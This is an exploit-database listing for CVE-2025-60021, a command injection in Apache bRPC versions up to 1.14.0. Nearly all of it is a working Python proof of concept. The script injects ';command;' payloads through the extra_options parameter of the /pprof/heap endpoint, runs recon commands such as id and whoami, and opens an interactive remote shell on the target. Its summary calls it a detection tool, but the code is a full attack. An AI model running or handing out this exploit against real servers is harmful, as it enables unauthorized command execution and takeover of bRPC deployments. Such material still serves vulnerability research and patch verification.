## https://sploitus.com/exploit?id=PACKETSTORM:214212
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| # Title : Apache bRPC <= 1.14.0 Command Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://brpc.apache.org/ |
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[+] References : https://packetstorm.news/files/id/214044/ & CVE-2025-60021
[+] Summary : This Python tool is a structured security testing script designed to detect potential command injection exposure in Apache bRPC versions up to 1.14.0 via exposed pprof endpoints.
From a software engineering perspective, the code is syntactically correct, stable, and well-structured, using a class-based design, proper error handling,
and modular functions for endpoint checking, payload handling, and response parsing.
The tool implements multiple detection techniques (time-based behavior, content reflection, and response analysis) and includes advanced output parsing logic to reduce noise.
While the program logic is technically sound, some detection methods may lead to false positives due to network latency, permissive parsing, or environmental factors.
Overall, the script demonstrates a high level of Python code quality and organization, suitable for controlled security research and detection-oriented analysis,
though results should always be manually validated.
[+]PoC :
#!/usr/bin/env python3
import requests
import sys
import urllib.parse
from typing import Optional
class BRPCExploit:
def __init__(self, target_url: str):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.timeout = 10
def check_vulnerable(self) -> bool:
"""Check if target is potentially vulnerable"""
try:
response = self.session.get(f"{self.target_url}/pprof/heap",
timeout=self.timeout)
return response.status_code != 404
except requests.RequestException:
return False
def execute_command(self, command: str, method: str = 'POST') -> Optional[str]:
"""
Execute command via extra_options parameter
Args:
command: Command to execute
method: HTTP method (POST or GET)
"""
safe_command = command.strip()
if method.upper() == 'POST':
data = {
'extra_options': f';{safe_command};echo "---END---"'
}
try:
response = self.session.post(
f"{self.target_url}/pprof/heap",
data=data,
timeout=self.timeout
)
return response.text
except requests.RequestException as e:
print(f"[-] Error: {e}")
return None
elif method.upper() == 'GET':
encoded_cmd = urllib.parse.quote(f';{safe_command};echo "---END---"')
url = f"{self.target_url}/pprof/heap?extra_options={encoded_cmd}"
try:
response = self.session.get(url, timeout=self.timeout)
return response.text
except requests.RequestException as e:
print(f"[-] Error: {e}")
return None
else:
print("[-] Invalid method. Use POST or GET")
return None
def test_safe_commands(self):
"""Test with harmless commands for verification"""
test_commands = [
"id",
"whoami",
"uname -a",
"pwd"
]
print("[*] Testing with safe commands...")
for cmd in test_commands:
print(f"\n[*] Executing: {cmd}")
result = self.execute_command(cmd, 'POST')
if result:
lines = result.split('\n')
for i, line in enumerate(lines):
if '---END---' in line and i > 0:
output = lines[i-1].strip()
if output and not 'pprof' in output.lower():
print(f"[+] Output: {output}")
break
else:
print("[-] No clear output found")
def interactive_shell(self):
"""Start an interactive command shell"""
print("[*] Starting interactive shell (type 'exit' to quit)")
print("[*] Note: Limited output parsing")
while True:
try:
cmd = input("bRPC$ ").strip()
if cmd.lower() in ['exit', 'quit']:
break
if not cmd:
continue
result = self.execute_command(cmd, 'POST')
if result:
lines = result.split('\n')
for line in lines:
if line and '---END---' not in line:
if 'pprof' not in line.lower() and 'heap' not in line.lower():
print(line[:200])
else:
print("[-] No response")
except KeyboardInterrupt:
print("\n[*] Exiting...")
break
except Exception as e:
print(f"[-] Error: {e}")
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print("Example: python3 poc.py http://192.168.1.100:9002")
sys.exit(1)
target = sys.argv[1]
exploit = BRPCExploit(target)
print(f"[*] Target: {target}")
print("[*] Checking if vulnerable...")
if not exploit.check_vulnerable():
print("[-] Target does not appear to have pprof endpoint")
print("[-] Note: Service might be on different port (try :9002)")
sys.exit(1)
print("[+] pprof endpoint found")
print("[*] Testing command injection...")
result = exploit.execute_command("echo 'TEST_SUCCESS'", 'POST')
if result and 'TEST_SUCCESS' in result:
print("[+] Target is VULNERABLE to CVE-2025-60021")
print("\n[?] Choose action:")
print(" 1. Run safe test commands")
print(" 2. Start interactive shell")
print(" 3. Exit")
choice = input("[>] Select (1-3): ").strip()
if choice == '1':
exploit.test_safe_commands()
elif choice == '2':
exploit.interactive_shell()
else:
print("[*] Exiting...")
else:
print("[-] Target does not appear vulnerable")
print("[-] Note: May be patched or different configuration")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-60021 Apache bRPC Command Injection PoC")
print("FOR AUTHORIZED SECURITY TESTING ONLY")
print("Unauthorized use is illegal and unethical")
print("=" * 60)
print()
confirm = input("[?] Do you have authorization to test? (yes/no): ")
if confirm.lower() != 'yes':
print("[-] Exiting...")
sys.exit(0)
main()
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